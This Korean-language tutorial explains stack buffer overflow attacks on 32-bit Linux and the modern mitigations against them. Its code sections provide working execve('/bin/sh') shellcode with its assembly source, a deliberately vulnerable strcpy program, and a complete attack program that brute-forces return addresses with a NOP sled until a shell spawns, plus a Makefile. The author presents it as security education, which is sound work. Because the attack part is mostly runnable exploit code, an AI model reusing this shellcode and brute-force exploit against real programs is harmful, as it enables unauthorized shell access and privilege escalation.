| 검색 | ?

버퍼오버플로우(Buffer over flow) 공격에 대한 이해

2. 개요

Buffer over flow 공격의 원리를 핵심만 요약하면 다음과 같습니다.
  • 가능한 이유가 뭘까?
    • 모든 함수 호출은 Stack을 통하여 복귀 주소를 저장한다.
    • 모든 지역변수는 Stack에 저장된다.
    • 분기 명령이 상대 점프에 대응한 명령어가 있다. (절대 주소로 점프하는 것과 다른 방식)
    • 명령어가 0으로 삽입되지 않는 기계어로 충분히 구현 가능하다.
    • Stack에 존재하는 코드가 실행 가능한 메모리 영역이다.
    • 프로그래머가 철저히 메모리 범위를 검사토록 코딩하지 못하면 십중팔구 BOF대상이다.
  • 어렵게 만드는 요인은?
    • 적어도 BOF 취약점이 존재하면 예전에는 공격자가 의도한 코드를 실행할 수 있었으나 요즘에는 아래와 같이 다양한 방어 요소가 존재하기 때문에 공격자의 코드가 실행되는 것은 꽤 어렵습니다. 하지만 적어도 서비스 거부 공격 (프로그램이 비정상 종료되는) 은 아직도 가능은 합니다.
    • ASLR(Address Space Layout Randomization) / KASLR(Kernel Address Space Layout Randomization)
      • 요즘 OS는 실행 시점마다 Stack의 주소를 달리 한다.
    • DEP(Data Execution Prevention) / NX(No-Execute) bit / SMEP(Supervisor Mode Execution Prevention) / SMAP(Supervisor Mode Access Prevention)
      • stack/data등 실행될 이유가 없는 영역 저장되는 DATA는 실행을 금지하도록 하는 기능
    • Stack Canary / GS(Buffer Security Check)
      • stack에 저장되는 반환 주소 앞에 임의의 값을 삽입하고 이것의 변조를 감지하는 기능
      • Stack을 실행 불가능한 메모리로 지정하는 등
    • CET (Control-flow Enforcement Technology Specification)
      • ROP(Return-Oriented Programming), JOP(Jmp-Oriented Programming) 공격 형태를 방어하는 기능입니다.
      • IBT(Indirect branch tracking)
        • 모든 분기점에 분기 주소 또는 반환 주소를 Normal stack과 병행하여 별도의 Shadow stack 에 저장하고 이를 비교하여 변화가 감지되면 예외를 발생하는 기능
        • ENDBRANCH (ENDBR32 / ENDBR64) 명령 참고
      • Intel CPU의 경우 11세대 (Tiger Lake) 이후부터 지원된다고 알려져 있습니다.
    • Stack의 push/pop 방향이 반대로 운영되는 architecture
      • ARM 계열의 경우 stack의 push/pop 하는 주소 방향을 바꾸는 기능이 있기는 합니다.
    • 그 밖에 수 많은 방어 기술들이 존재합니다.
      • CIG (Code Integrity Guard)
      • ACG (Arbitrary Code Guard)
      • CFG(Control Flow Guard)
      • SafeSEH(Safe Structured Exception Handling), SEHOP(Structured Exception Handling Overwrite Protection)
      • ...
  • 원리는?
    • 함수 인자, 복귀 주소, 지역변수 순으로 Stack에 쌓입니다.
    • 이때 지역변수보다 커다란 문자열을 복사하려고 시도 할때 코드에서 이를 제한하지 않고 복사합니다.
    • 이렇게 되면 복귀 주소는 침범 당합니다. 이 침범 당한 값을 복귀 주소로 취하도록 합니다.
    • 침범 당한 복귀 주소에서는 공격 코드로 분기 하도록 적절한 값을 찾아야 합니다.

3. 준비

여기서 sample() 함수가 overflow exec shell 코드이고요.이건 이미 공식화 된 코드이기 때문에 제가 조금 양념을 쳐서 이해하기 쉽게 만들어 봤습니다. 해킹은 무지 싫어하지만 이런 것도 명확히 알아둬야 자신의 코드가 튼튼해지겠죠. 절대로 BOF(Buffer Over Flow)당할 코드는 만들지 마세요. 이 글을 읽고 BOF취약 코드 만드는 사람은 없겠죠?

아래와 같은 코드를 만들기 위해서는 다음과 같은 단계를 진행하여 코드를 만듭니다.

  1. sample() 함수를 만든다.

    조건: 스트링 함수를 공격하기 위한 코드이므로 반드시 코드 내에는 0x00 이 없어야 합니다. 그래서 strcpy 에 의해서 공격코드가 복사될수 있겠지요. 원리: 일단 jmp 로 call 함수로 분기하도록 틀을 만듭니다. 이때 near 가 아닌 short 형태의 분기여야 합니다. 이제 call 바로 하단에는 "/bin/sh\0" 을 넣는 것이고 이것은 call 에 의해서 그 주소를 챙길 수 있습니다. 그래서 call 로 분기후 pop 을 통해서 "/bin/sh" 의 주소를 얻어냅니다. 그 다음에는 execve(System call 0x0b번)을 이용해서 실행하는 코드를 생성합니다. 역시 주의할 점은 기계어 상태에서 0x00이 있으면 안됩니다(문자열 복사가 멈추므로). 그리고 execve실행 후 종료토록 exit(System call 0x01번)을 호출하여 종료합니다.

  2. 이제 일단 컴파일만 합니다.

  3. objdump -D <목적파일.o> 를 사용하여 코드를 역 어셈블한 상태를 확인합니다. 여기서 sample 라벨을 찾아서 stack frame 을 빼고 jmp 부터 복사하여 배열을 만듦니다.

  4. 이제 sample 함수는 mz_shell_code 로 만들어 진 상태이고 실제 테스트를 위한 함수를 만들어야 합니다. (실제 공격코드에는 bof() 함수가 아니라 프로그램 자체의 버퍼오버플로우 취약점이 될겁니다.)

  5. 이제 bof() 함수에는 한개의 dword 변수를 선언하고 이 주소를 취하여 dword 변수 자체 크기 4를 더하고 그로부터 다시 stack frame 을 건너띄기 위해서 4를 더한 위치에 mz_shell_code 의 주소를 저장합니다.

  6. 이제 bof 함수는 버퍼오버플루우에 의해서 공격당한 함수의 전형적인 상태가 되었습니다.

  7. bof 가 리턴되면 mz_shell_code 로 분기하게 되고 원하는 "/bin/sh" 가 실행되며 이로서 권한을 취득합니다.

참고로 execve system call 의 내용은 다음과 같습니다. (32-bits linux kernel 기준이며 64-bits linux kernel은 완전히 다릅니다.)
%%eax = 0x0b
%%ebx = path/filename 포이터
%%ecx = 인자 리스트 포인터
%%edx = 환경변수 리스트 포인터
int $0x80

=> 64-bits kernel 인 경우는 다음과 같이 다릅니다. (ABI call)
%%rax = 0x3b
%%rdi = path/filename 포이터
%%rsi = 인자 리스트 포인터
%%rdx = 환경변수 리스트 포인터
syscall


그리고 exit system call 의 내용은 다음과 같습니다. (32-bits linux kernel 기준이며 64-bits linux kernel은 완전히 다릅니다.)
%%eax = 0x01
%%ebx = exit code(return code)
int $0x80

=> 64-bits kernel 인 경우는 다음과 같이 다릅니다. (ABI call)
%%rax = 0x3c
%%rdi = exit code(return code)
syscall


/*
Copyright (C) MINZKN.COM
All right reserved
Code by JaeHyuk Cho <mailto:minzkn@minzkn.com>
*/

/* !!!  32-bits linux kernel 기준이며 64-bits linux kernel은 적절히 그에 맞도록 수정이 필요합니다. */

char __mz_shell_code__[] = {
"\xeb\x1d"               /* jmp    0f               */
                          /* 1:                      */
"\x5e"                   /* pop    %esi             */               /* call 에 의해서 "/bin/sh" 의 주소가 담겨있게 됨. */
"\x89\x76\x08"           /* mov    %esi,0x8(%esi)   */
"\x31\xc0"               /* xor    %eax,%eax        */
"\x88\x46\x07"           /* mov    %al,0x7(%esi)    */
"\x89\x46\x0c"           /* mov    %eax,0xc(%esi)   */
"\xb0\x0b"               /* mov    $0x0b,%al        */
"\x89\xf3"               /* movl   %%esi, %%ebx     */
"\x8d\x4e\x08"           /* lea    0x8(%esi),%ecx   */
"\x31\xd2"               /* xor    %edx,%edx        */
"\xcd\x80"               /* int    $0x80            */
"\xb0\x01"               /* mov    $0x1,%al         */       /* exit system call part */
"\x31\xdb"               /* xor    %ebx,%ebx        */
"\xcd\x80"               /* int    $0x80            */
                          /* 0:                      */
"\xe8\xde\xff\xff\xff"   /* call   1b               */
"/bin/sh"
};

void bof(void)
{ /* 테스트를 위해 가상으로 BOF 피폭된 함수를 꾸미기 위한 함수 */
volatile unsigned long s_Entry;
s_Entry = (unsigned long)(&s_Entry) + sizeof(s_Entry) + sizeof(void *)/* frame */;
*((unsigned long *)s_Entry) = (unsigned long)(&__mz_shell_code__);
}

#if 0 /* __mz_shell_code__ source  : 이것이 BOF 실행코드이며 이것을 토대로 코드가 완성됩니다. */
void sample(void)
{
__asm__ volatile("nop\n\t");
__asm__ volatile(
  "jmp 0f\n\t"
  "1:\n\t"
  "popl %%esi\n\t"
  "movl %%esi, 0x08(%%esi)\n\t"
  "xorl %%eax, %%eax\n\t"
  "movb %%al, 0x07(%%esi)\n\t"
  "movl %%eax, 0x0c(%%esi)\n\t"
  "movb $0x0b, %%al\n\t"
  "movl %%esi, %%ebx\n\t"
  "leal 0x08(%%esi), %%ecx\n\t"
  "xorl %%edx, %%edx\n\t"
  "int $0x80\n\t"
  "movb $0x01, %%al\n\t"
  "xorl %%ebx, %%ebx\n\t"
  "int $0x80\n\t"
  "0:\n\t"
  "call 1b\n\t"
  ".string \"/bin/bash\"\n\t"
  :
  :
);
__asm__ volatile("nop\n\t");
}
#endif 

int main(void)
{
bof();
return(0);
}

4. 실제 공격 패턴 (x86 32-bits 기준)

요즘 OS/CPU/Compiler 는 이러한 공격 패턴을 어렵게 만드는 여러가지 기법을 도입하고 있어 사실상 거의 BOF 성공 확률이 많이 사라졌습니다.

아래 예시는 최근 환경에서는 의도한 공격이 이루어지지 않을 수 있습니다. (x86 32-bits RedHat7.3 기준환경에서 테스트 확인했었습니다.)

실제로 공격이 어떻게 이루어지는지 직접 경험해봐야 자신의 코드를 더 튼튼히 할 수 있습니다. 꼭 한번 실습 해보시고 보안의 중요성을 인지하시게 되었으면 좋겠습니다. 자! 보안에 대해서 별로 신경 쓰지 않는 어떤 사람이 다음과 같은 코드를 생성하였다고 합시다. (실제 상황에서는 복잡한 프로그램이겠지만 대충 다음과 같은 상황이 취약합니다.)
/* 
 Code by fooman
*/

#include <stdio.h>
#include <string.h>

int main(int s_Argc, char *s_Argv[])
{
 char s_Message[ 8 ];
 if(s_Argc <= 1)
 {
  fprintf(stdout, "Usage: %s <Message>\n", s_Argv[0]);
  return(0);
 }
 strcpy(s_Message, s_Argv[1]);
 fputs(s_Message, stdout);
 return(0);
}

/* End of source */


자! 위의 코드를 일단 test1.c 로 저장하고 test1 이라는 실행 파일을 만듭니다. 이제 이것은 공격의 대상입니다. 그럼 공격 코드를 만들어 보겠습니다. (이것이 실전에서 쓰이는 공격 기법입니다. 자세히 관찰해보세요.)
/*
Copyright (C) MINZKN.COM
All right reserved
Code by JaeHyuk Cho <mailto:minzkn@minzkn.com>

Attack code
*/

#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEF_ATTACK_PROGRAM      "./test1"
#define DEF_ATTACK_RANGE        (4 << 10) /* 적정 scan 범위 값을 취함 : 대상의 규모가 클수록 이 값을 늘려야 겠죠? */
#define DEF_TARGET_ARRAY_SIZE   (8) /* test1.c 의 s_Message의 크기는 8이므로 : 이것은 실험치로 잡아내야 함 */


/* !!!  32-bits linux kernel 기준이며 64-bits linux kernel은 적절히 그에 맞도록 수정이 필요합니다. */
char __mz_shell_code__[] = {
 "\xeb\x1d"               /* jmp    0f               */
                          /* 1:                      */
 "\x5e"                   /* pop    %esi             */
 "\x89\x76\x08"           /* mov    %esi,0x8(%esi)   */
 "\x31\xc0"               /* xor    %eax,%eax        */
 "\x88\x46\x07"           /* mov    %al,0x7(%esi)    */
 "\x89\x46\x0c"           /* mov    %eax,0xc(%esi)   */
 "\xb0\x0b"               /* mov    $0x0b,%al        */
 "\x89\xf3"               /* movl   %%esi, %%ebx     */
 "\x8d\x4e\x08"           /* lea    0x8(%esi),%ecx   */
 "\x31\xd2"               /* xor    %edx,%edx        */
 "\xcd\x80"               /* int    $0x80            */
 "\xb0\x01"               /* mov    $0x1,%al         */
 "\x31\xdb"               /* xor    %ebx,%ebx        */
 "\xcd\x80"               /* int    $0x80            */
                          /* 0:                      */
 "\xe8\xde\xff\xff\xff"   /* call   1b               */
 "/bin/sh"
 "\x00"
};

int main(void)
{
 unsigned long s_Address; /* 첫 번째 스택 변수임을 주의합시다. */
 char s_Arg[ DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long) + sizeof(__mz_shell_code__) ];
 char *s_Exec[] = { DEF_ATTACK_PROGRAM, (char *)(&s_Arg[0]), (char *)0 };

 /* 적당히 코드가 실행되기 유리하도록 nop(0x90)을 사용 */
 memset(&s_Arg[0], 0x90 /* nop */, DEF_TARGET_ARRAY_SIZE + 4);

 /* shell 실행 기계코드 복사 */
 memcpy((void *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long)]), (void *)(&__mz_shell_code__[0]), sizeof(__mz_shell_code__));

 s_Address = (unsigned long)(&s_Address) - DEF_ATTACK_RANGE; /* 초기 scan 주소 */
 do
 { /* 루프를 기다려봅시다. ^^ */
  fprintf(stdout, "ATTACK INFO : >> %08lXH <<\n", s_Address);
  *((unsigned long *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4])) = s_Address;
  if(fork() == 0)
  {
   execvp(s_Exec[0], s_Exec);
   exit(0);
  }
  else wait(0);
  s_Address += sizeof(unsigned long);
 }while(1);

 fprintf(stdout, "\n\nBye.\n");

 return(0);
}

/* End of source */


이제 위의 코드를 test2.c 로 저장하고 test2로 실행파일을 만들고 test2 를 test1 이 있는곳 에서 실행합니다. 경우에 따라서 실패를 하기도 하지만 아마도 대부분 조금있다가 쉘이 실행되는 것을 볼수 있을겁니다. 컴파일은 다음과 합니다.
all: test1 test2
clean: ;$(RM) *.o test1 test2
test1: test1.o ;gcc -s -o $@ $^
test2: test2.o ;gcc -s -o $@ $^
%.o:%.c ;gcc -O0 -Wall -Werror -c -o $@ $<


Copyright ⓒ MINZKN.COM
All Rights Reserved.